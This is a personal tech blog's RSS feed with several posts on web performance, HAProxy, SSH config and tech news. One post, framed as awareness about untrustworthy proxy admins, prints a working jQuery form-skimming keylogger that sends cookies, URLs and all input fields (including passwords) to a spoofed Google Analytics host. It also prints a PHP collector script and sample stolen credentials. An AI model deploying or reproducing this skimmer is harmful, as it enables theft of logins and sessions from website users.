<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Makl Ndrix &#187; web</title>
	<atom:link href="http://michaelhendrickx.com/category/web/feed" rel="self" type="application/rss+xml" />
	<link>http://michaelhendrickx.com</link>
	<description>may contain traces of nuts</description>
	<lastBuildDate>Thu, 17 May 2012 21:03:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Use sprites to speed up your website</title>
		<link>http://michaelhendrickx.com/201205_use-sprites-to-speed-up-your-website.html</link>
		<comments>http://michaelhendrickx.com/201205_use-sprites-to-speed-up-your-website.html#comments</comments>
		<pubDate>Thu, 17 May 2012 20:55:26 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=567</guid>
		<description><![CDATA[To make your website perform faster, few things can be done serverwise, some can be done client wise. Aside from Javascript and CSS minifying, an often overlooked item are the creation of sprites. Sprites, are &#8220;combined images&#8221; of your images. On places.ae, we use many small icons which add up to multiple downloads of images [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/201205_use-sprites-to-speed-up-your-website.html' addthis:title='Use sprites to speed up your website'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2012/05/sprite.jpeg" alt="" title="sprite" width="201" height="201" class="alignright size-full wp-image-569" align="right"/>To make your website perform faster, few things can be done serverwise, some can be done client wise.  Aside from Javascript and CSS minifying, an often overlooked item are the creation of <em>sprites</em>.  Sprites, are &#8220;combined images&#8221; of your images.  </p>
<p>On places.ae, we use many small icons which add up to multiple downloads of images on our website.  Every download takes time even though HTTP persistent connections are enabled.  These timings can be minimzed using springs.</p>
<p>First off, we streamlined to use 16&#215;16 pixel icons, so this allows us to make a nice square with several area&#8217;s of 16 by 16 pixels.  Using GIMP you can help by enable the grid view, and setting the grid (in Image -> Configure grid) to 16 by 16 pixels, or 8 by 8, to determine the middle easier.</p>
<p><img src="http://michaelhendrickx.com/wp-content/uploads/2012/05/sprites.png" alt="" title="sprites" width="427" height="256" class="aligncenter size-full wp-image-568" /> </p>
<p>By adding all our icons into this image, we can reference to them using CSS:</p>
<p><code><br />
/* sprite images */<br />
.sprite {<br />
  background: url(/images/sprite.png) no-repeat;<br />
  width: 16px;<br />
  height: 16px;<br />
  float: left;<br />
  margin-right: 10px<br />
}</p>
<p>.img_warning { background-position: 0px 0px }<br />
.img_location { background-position: -16px 0px }<br />
.img_phone { background-position: -32px 0px }<br />
.img_web { background-position: -48px 0px }<br />
.img_fax { background-position: -64px 0px }<br />
.img_menu { background-position: -80px 0px }<br />
.img_dollar { background-position: -96px 0px }<br />
.img_calendar { background-position: -112px 0px }<br />
.img_search { background-position: -128px 0px }<br />
.img_close { background-position: -128px 0px }</p>
<p>.img_check { background-position: 0px -16px }<br />
.img_error { background-position: -16px -16px }<br />
.img_clock { background-position: -32px -16px }<br />
.img_heart { background-position: -48px -16px }<br />
.img_thumbsup { background-position: -64px -16px }<br />
.img_thumbsdown { background-position: -80px -16px }</code></p>
<p>Finally, in our code, we can eliminate the many &lt;img&gt; tags, and use div&#8217;s:</p>
<p><code>&lt;span class="sprite img_phone" /&gt;</code></p>
<p>Many may know this already, but I wanted to share this quick and easy introduction to sprites.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201205_use-sprites-to-speed-up-your-website.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JQlog: JQuery Keylogger, or why not to trust your proxy admin.</title>
		<link>http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html</link>
		<comments>http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html#comments</comments>
		<pubDate>Mon, 06 Jun 2011 07:55:13 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jkeylog]]></category>
		<category><![CDATA[jqlog]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[key logger]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=453</guid>
		<description><![CDATA[Note that this post is for awareness and educational purposes only. I do not encourage, and cannot be held responsible for malicious actions using these tools. The Internet, as it is today, is a mash-up of JavaScript enabled services, often included from external websites. Internet companies offer so-called widgets, which are JavaScript tools that can [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html' addthis:title='JQlog: JQuery Keylogger, or why not to trust your proxy admin.'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<div style="color:#808080;padding:5px 20px">
<em>Note that this post is for awareness and educational purposes only.  I do not encourage, and cannot be held responsible for malicious actions using these tools.</em></div>
<p>The Internet, as it is today, is a mash-up of JavaScript enabled services, often included from external websites.  Internet companies offer so-called widgets, which are JavaScript tools that can be used in your own page.  Popular examples of this are site analytics (Omniture, Google Analytics, etc) or share-abilities (AddThis, AddToAny, &#8230;).  It&#8217;s by overwriting Javascript libraries on a page, that we can do other things, such as recording keystrokes.</p>
<p>&#8220;Overwriting&#8221; javascript libraries, or rather &#8220;inserting javascript&#8221; can be done in several ways.  Cross Site Scripting is one of them, but for the sake of this blog post, I will act as a malicious proxy administrator, and overwrite the Google Analytics DNS entry (www.google-analytics.com) and &#8220;fake&#8221; the ga.js javascript file.</p>
<p><img src="http://michaelhendrickx.com/wp-content/uploads/2011/06/jq2.jpg" alt="" title="jq(2)" width="627" height="223" class="aligncenter size-full wp-image-459" /></p>
<p>For this, you&#8217;d need only 2 files:</p>
<ul>
<li><a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/ga.js'>Javascript keylogger</a></li>
<li><a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/dump.php_.txt'>PHP backend script</a></li>
</ul>
<p>This javascript file, found <a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/ga.js'>here</a>, holds 3 parts: JQuery, a base64 encoder and the keylogger code itself: <span id="more-453"></span></p>
<div style="border:1px solid #c0c0c0;padding:10px">
<pre>var t = "http://www.google-analytics.com/dump.php?a=";
jQuery(document).ready(function(){
  jQuery("form").submit(function(){
    var o = {};
    o.location = document.location.href;
    o.cookie = document.cookie;
    jQuery(":input").each(function(index){
      o[jQuery(this).attr("name")]=jQuery(this).val()
    });
    var u = t + Base64.encode(JSON.stringify(o));
    jQuery.getScript(u);
  });
});</pre>
</div>
<p>Upon a &#8220;form submit&#8221; event, the current URL, the current cookie and all the page &lt;input&gt; fields are stored in a JSON object.  This is Base64 encoded and passed on to a defined URL (<strong>http://www.google-analytics.com/dump.php?a=</strong> in this above case).</p>
<div style="color:#808080;padding:10px 20px">
<em>Functions such as $.ajax() or $.post() would not work due to cross-domain limitations.  Henceforth, I used $.getScript to pass on the data to an external URL.  </em>
</div>
<p>The data is pushed, in a Base64 encoded JSON object to an external script; dump.php in my case.  This script (<a href='http://michaelhendrickx.com/wp-content/uploads/2011/06/dump.php_.txt'>here</a>) stores the current date, and a dump of all passed on variables in a defined text file.</p>
<div style="border:1px solid #c0c0c0;padding:10px">
<pre>
  $obj = json_decode(base64_decode($_GET["a"]));
  $fileName = "dump.txt";
  $f = fopen($fileName, 'a');
  fwrite($f, "on ".date("d M y, h:i:s")."\n\n");
  foreach($obj as $i=>$j){ fwrite($f, $i." : ".$j."\n"); }
  fwrite($f, "-----------------------------------------------------\n");
  fclose($f);
</pre>
</div>
<p>Since it decodes a JSON object, dump.php will require JSON support, this can be installed using <a href="http://pear.php.net/">pear</a>.  Debian, it&#8217;s done using the following:</p>
<pre>
  apt-get install php-pear
  pear install Services_JSON</pre>
<p>To verify this, you will see a JSON entry in the phpinfo() output.</p>
<p>When all is setup correctly (virtual host, /etc/hosts file changes, correct permissions for the dump.txt file to be created), all &lt;form&gt; submits should be recorded in the text file, in the form of:</p>
<pre style="padding-left:20px">
on 06 Jun 11, 07:28:06
location : http://7days.ae/
cookie : SESS13752b3ab7d6...
<strong>name : user
pass : secret1552</strong>
_empty_ : Password
op :
form_build_id : form-00db26143485eac73953183a0e4170b6
form_id : search_form
search_theme_form : Search Keywords
default_text :
</pre>
<p>No, this is no hack against Google Analytics or 7days, the latter is  something that would <a href="http://michaelhendrickx.com/201104_7days-meta-refresh-hack.html">look slightly different</a>.  <img src='http://michaelhendrickx.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Although this example uses Google Analytics, it could be used for many other &#8220;popular&#8221; javascripts that are included in terms of widgets.  The handy things about Google Analytics is that it&#8217;s invisible to the user whether it is loaded or not.  </p>
<p>Using a proxy server, even a transparent one can have its risks, this post just illustrates one of them.  Always make sure you can trust your proxy administrators.</p>
<p>Thank you,<br />
Michael</p>
<p>PS: these scripts are far from perfect, they don&#8217;t trap XHR requests and many other things, but it gets the point across.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201106_jqlog-jquery-keylogger.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Kriesi_image_preloader won&#8217;t load in IE / Opera</title>
		<link>http://michaelhendrickx.com/201104_kriesi_image_preloader-wont-load-in-ie-opera.html</link>
		<comments>http://michaelhendrickx.com/201104_kriesi_image_preloader-wont-load-in-ie-opera.html#comments</comments>
		<pubDate>Wed, 13 Apr 2011 05:24:01 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=434</guid>
		<description><![CDATA[A friend of mine is using the Newscast for his blog. It is a great looking theme that has an image preloader written in JQuery. It was all looking good in Firefox, but wasn&#8217;t displaying properly in IE and Opera. The javascript fails around line 60 in themes/TFnewscast/js/custom.js: jQuery('#main').kriesi_image_preloader({delay:100, callback:removeloader}); This can be fixed by [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/201104_kriesi_image_preloader-wont-load-in-ie-opera.html' addthis:title='Kriesi_image_preloader won&#8217;t load in IE / Opera'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2011/04/loading-icon.gif" alt="" title="loading-icon" width="150" height="120" class="alignright size-full wp-image-438" align="right" />A friend of mine is using the <a href="http://www.kriesi.at/archives/newscast-premium-magazine-and-blog-html-template">Newscast</a> for his <a href="http://juliussuralta.com">blog</a>.  It is a great looking theme that has an image preloader written in JQuery.  It was all looking good in Firefox, but wasn&#8217;t displaying properly in IE and Opera.</p>
<p>The javascript fails around line 60 in <strong>themes/TFnewscast/js/custom.js</strong>:</p>
<p><code>jQuery('#main').kriesi_image_preloader({delay:100, callback:removeloader});</code></p>
<p>This can be fixed by surrounding it with a if statement that verifies that you&#8217;re not running IE nor opera:<br />
<code><br />
if(!(jQuery.browser.opera || jQuery.browser.msie)){<br />
&nbsp;&nbsp;jQuery('#main').kriesi_image_preloader({delay:100, callback:removeloader});<br />
}</code></p>
<p>And that should do it.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201104_kriesi_image_preloader-wont-load-in-ie-opera.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Reverse proxy for sharepoint on Linux using HAProxy</title>
		<link>http://michaelhendrickx.com/201006_reverse-proxy-for-sharepoint-on-linux-using-haproxy.html</link>
		<comments>http://michaelhendrickx.com/201006_reverse-proxy-for-sharepoint-on-linux-using-haproxy.html#comments</comments>
		<pubDate>Wed, 16 Jun 2010 04:02:42 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[haproxy]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[reverse proxy]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=289</guid>
		<description><![CDATA[At Nakheel, we needed to load balance a new sharepoint instance. Our new sharepoint is single sign on, and was running on 2 web servers which needed to be load balanced. We played around with Apache for a while, and it&#8217;s awesome proxy balancer, but it gave us the problem that it was always asking [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/201006_reverse-proxy-for-sharepoint-on-linux-using-haproxy.html' addthis:title='Reverse proxy for sharepoint on Linux using HAProxy'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://michaelhendrickx.com/wp-content/uploads/2010/06/fo.jpg"><img src="http://michaelhendrickx.com/wp-content/uploads/2010/06/fo.jpg" alt="" title="fo" width="116" height="107" align="right" /></a>At Nakheel, we needed to load balance a new sharepoint instance.  Our new sharepoint is single sign on, and was running on 2 web servers which needed to be load balanced.  We played around with Apache for a while, and it&#8217;s awesome <a href="http://httpd.apache.org/docs/2.1/mod/mod_proxy_balancer.html">proxy balancer</a>, but it gave us the problem that it was always <strong>asking for a username and password.</strong></p>
<p>Apache was used, since I have a reasonable amount of experience with it load balancing servers such as Webrick, etc.  After a few frustrating hours of messing with <a href="http://www.innovation.ch/personal/ronald/ntlm.html">NTLM</a>, <a href="http://certifiedgeek.blogsome.com/">Christian</a> proposed <a href="http://certifiedgeek.blogsome.com/2010/06/15/open-source-load-balancer-software-2010/">a few alternatives</a> for this.  </p>
<p>Having this in mind, we decided to go for <a href="http://haproxy.1wt.eu/">HAProxy</a>, to provide load balancing and a reverse proxy for our sharepoint instance.  The good this is that it is a very simple tool, it accept HTTP conenctions, and forward them.  </p>
<p>Below is our simplified <strong>/etc/haproxy/haproxy.cfg</strong> file</p>
<pre>
global
        maxconn 4096
        user haproxy
        group haproxy
        daemon
        # debug

defaults
        mode    http
        option  forwardfor
        log     127.0.0.1 local0 notice
        maxconn 2000
        contimeout      5000
        clitimeout      50000
        srvtimeout      50000

backend sharepoint
        balance roundrobin
        option redispatch
        cookie SERVERID insert nocache
        server sp1      172.30.16.11:80  cookie spsrv01 weight 30 check
        server sp2      172.30.16.12:80  cookie spsrv02 weight 30 check

frontend httpid
        bind *:80
        acl hosts_sharepoint hdr_end(host) -i intranet.domain.com
        acl hosts_sharepoint hdr_end(host) -i intranet.domain.com:80
        use_backend sharepoint if hosts_sharepoint
        default_backend sharepoint
</pre>
<p>The configuration is very straightforward, and it got rid of our continuous username/password boxes, especially under firefox.</p>
<p>Hope this helps,<br />
Michael</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/201006_reverse-proxy-for-sharepoint-on-linux-using-haproxy.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Logging into SSH with a different username</title>
		<link>http://michaelhendrickx.com/200903_loggin-into-ssh-with-a-different-username.html</link>
		<comments>http://michaelhendrickx.com/200903_loggin-into-ssh-with-a-different-username.html#comments</comments>
		<pubDate>Thu, 26 Mar 2009 02:59:52 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[misc]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=138</guid>
		<description><![CDATA[I love SSH. SSH is the de-facto service for remote server management, especially in a CLI environment. Being a avid Linux user, and spending quite a bit of time on OSX lately, I often SSH into several servers remotely. Being subject to &#8220;username conventions&#8221;, you don&#8217;t always share the same username across machines. And I [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/200903_loggin-into-ssh-with-a-different-username.html' addthis:title='Logging into SSH with a different username'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>I love SSH.  SSH is the de-facto service for remote server management, especially in a CLI environment.</p>
<p>Being a avid Linux user, and spending quite a bit of time on OSX lately, I often SSH into several servers remotely.  Being subject to &#8220;username conventions&#8221;, you don&#8217;t always share the same username across machines.  And I always wondered how one could just type <em>ssh hostname</em> instead of providing the username.</p>
<p>Seems that, by creating a <code>.ssh/config</code> file with following contents:</p>
<p><code><br />
Host server.example.com server<br />
&nbsp;&nbsp;User username<br />
</code></p>
<p>WIll make life easier, as you can in the future only do a &#8220;ssh hostname&#8221;.  I didn&#8217;t know this.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/200903_loggin-into-ssh-with-a-different-username.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Linked-In to have applications.  Professional superpoke anyone?</title>
		<link>http://michaelhendrickx.com/200810_linked-in-to-have-applications-professional-superpoke-anyone.html</link>
		<comments>http://michaelhendrickx.com/200810_linked-in-to-have-applications-professional-superpoke-anyone.html#comments</comments>
		<pubDate>Fri, 31 Oct 2008 05:57:50 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[internet]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[apps]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[linked in]]></category>
		<category><![CDATA[linkedin]]></category>
		<category><![CDATA[sharing]]></category>
		<category><![CDATA[social network]]></category>
		<category><![CDATA[web2.0]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=56</guid>
		<description><![CDATA[Linked In, the professional social network introduced the possibility of using applications. Just as facebook, myspace and friendster did. Linked in feels the threat of Facebook, especially combined with applications such as Kuhnektid to increase your professional &#8220;visibility&#8221; across the work. Most of linked-in users, are on facebook too. A set of examples are there [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/200810_linked-in-to-have-applications-professional-superpoke-anyone.html' addthis:title='Linked-In to have applications.  Professional superpoke anyone?'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2008/10/linkedin.jpeg" alt="" title="linkedin" width="137" height="46" class="alignright size-full wp-image-57" /><a href="http://www.linkedin.com">Linked In</a>, the professional social network introduced the possibility of using applications.  Just as facebook, myspace and friendster did.</p>
<p>Linked in feels the threat of Facebook, especially combined with applications such as <a href="http://www.kuhnektid.com">Kuhnektid</a> to increase your professional &#8220;visibility&#8221; across the work.  Most of linked-in users, are on facebook too.</p>
<p>A set of examples are there in their <a href="http://www.linkedin.com/static?key=application_directory">application directory</a>.  Tools such as file sharing, project collaboration, or being notified when one of your &#8220;contacts&#8221; is in the same city as you are there.  No sight of a SDK yet, and no superpokes either.<br />
yet.</p>
<p>Let&#8217;s see how users adapt to this.  </p>
<p>Thanks,<br />
Michael</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/200810_linked-in-to-have-applications-professional-superpoke-anyone.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft to enter the clouds</title>
		<link>http://michaelhendrickx.com/200810_microsoft-to-enter-the-clouds.html</link>
		<comments>http://michaelhendrickx.com/200810_microsoft-to-enter-the-clouds.html#comments</comments>
		<pubDate>Thu, 02 Oct 2008 23:03:21 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[internet]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[cloud computing]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[windows clouds]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=41</guid>
		<description><![CDATA[Microsoft is entering the cloud computing zone pretty soon. It was announced yesterday and will hit the public a month from now with it&#8217;s new OS, Windows Clouds (yeh.). It&#8217;s feeling the ppressure from easy to use, browser only, applications such as Gmail, google docs and the like. I wish Microsoft (or anyone) would come [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/200810_microsoft-to-enter-the-clouds.html' addthis:title='Microsoft to enter the clouds'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaelhendrickx.com/wp-content/uploads/2008/10/clouds.jpg" alt="" title="clouds" width="128" height="77" class="alignright size-full wp-image-42" />Microsoft is <a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&#038;articleId=9115978">entering</a> the cloud computing zone pretty soon.  It was announced yesterday and will hit the public a month from now with it&#8217;s new OS, Windows Clouds (yeh.).</p>
<p>It&#8217;s feeling the ppressure from easy to use, browser only, applications such as Gmail, google docs and the like.</p>
<p>I wish Microsoft (or anyone) would come out with an enterprise cloud platform, not on the Internet.  I am sure there are more users who wish to make a storage cloud on their network.  Or am I the only one?</p>
<p>Thanks,<br />
Michael</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/200810_microsoft-to-enter-the-clouds.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSS Optimizer shrinks your CSS files</title>
		<link>http://michaelhendrickx.com/200809_css-optimizer-shrinks-your-css-files.html</link>
		<comments>http://michaelhendrickx.com/200809_css-optimizer-shrinks-your-css-files.html#comments</comments>
		<pubDate>Sat, 06 Sep 2008 00:25:02 +0000</pubDate>
		<dc:creator>Michael Hendrickx</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[css optimizer]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[html]]></category>

		<guid isPermaLink="false">http://michaelhendrickx.com/?p=28</guid>
		<description><![CDATA[CSS Optimizer is a tool that will shrink your CSS files and shave off a few kilobytes. I tested a few CSS files on places.ae and, shamefully, saw an average of 33% improvement that&#8217;s possible. (Though not as bad as some other sites: salik (49%) and dubai police (62%)). Very useful tool, especially on mobile [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://michaelhendrickx.com/200809_css-optimizer-shrinks-your-css-files.html' addthis:title='CSS Optimizer shrinks your CSS files'  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.cssoptimiser.com/"><img src="http://michaelhendrickx.com/wp-content/uploads/2008/09/online_css_optimizer_logo.png" alt="" title="online_css_optimizer_logo" width="125" height="75" class="alignright size-medium wp-image-29" /></a><a href="http://www.cssoptimiser.com/">CSS Optimizer</a> is a tool that will shrink your CSS files and shave off a few kilobytes.  I tested a few CSS files on places.ae and, shamefully, saw an average of 33% improvement that&#8217;s possible.  (Though not as bad as some other sites: <a href="http://www.salik.ae/english/includes/style.css">salik</a> (49%) and <a href="http://www.dubaipolice.gov.ae/dp/images3/main.css">dubai police</a> (62%)).</p>
<p>Very useful tool, especially on mobile sites or sites where bandwidth is an important factor.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaelhendrickx.com/200809_css-optimizer-shrinks-your-css-files.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

